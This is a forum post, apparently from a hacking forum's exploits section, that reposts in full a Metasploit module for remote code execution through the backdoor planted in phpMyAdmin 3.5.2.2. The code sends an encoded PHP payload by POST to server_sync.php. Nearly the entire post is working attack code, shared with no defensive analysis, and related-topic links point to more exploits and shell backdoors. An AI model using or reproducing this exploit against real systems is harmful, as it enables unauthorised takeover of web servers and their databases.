.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

 

 phpMyAdmin 3.5.2.2 server_sync.php Backdoor

Go down 
PengirimMessage
Putra Atmana
NuuBiiTooL
NuuBiiTooL



Jumlah posting : 22
Points : 63
Reputation : 6
Join date : 28.11.11

phpMyAdmin 3.5.2.2 server_sync.php Backdoor Empty
PostSubyek: phpMyAdmin 3.5.2.2 server_sync.php Backdoor   phpMyAdmin 3.5.2.2 server_sync.php Backdoor Icon_minitimeWed Jan 30, 2013 7:11 pm

This Metasploit module exploits an arbitrary code execution backdoor placed into phpMyAdmin version 3.5.2.2 through a compromised SourceForge mirror.

Quote :
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
'Description' => %q{
This module exploits an arbitrary code execution backdoor
placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
},
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'DisclosureDate' => 'Sep 25 2012',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))

register_options([
OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
], self.class)
end

def exploit

uris = []

tpath = datastore['PATH']
if tpath[-1,1] == '/'
tpath = tpath.chop
end

pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

res = send_request_raw( {
'global' => true,
'uri' => tpath + "/server_sync.php",
'method' => 'POST',
'data' => pdata,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => pdata.length,
}
}, 1.0)

handler
end
end
Kembali Ke Atas Go down
 
phpMyAdmin 3.5.2.2 server_sync.php Backdoor
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» PhpMyadmin XSRF Vuln (Execute SQL Query)
» phpMyAdmin 3.x Swekey Remote Code Injection Exploit
» Memberi password php shell (Backdoor)
» Bobol Database Dengan Shell Backdoor
» Automated Persistent Backdoor on Metasploit Framework

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Exploits-
Navigasi: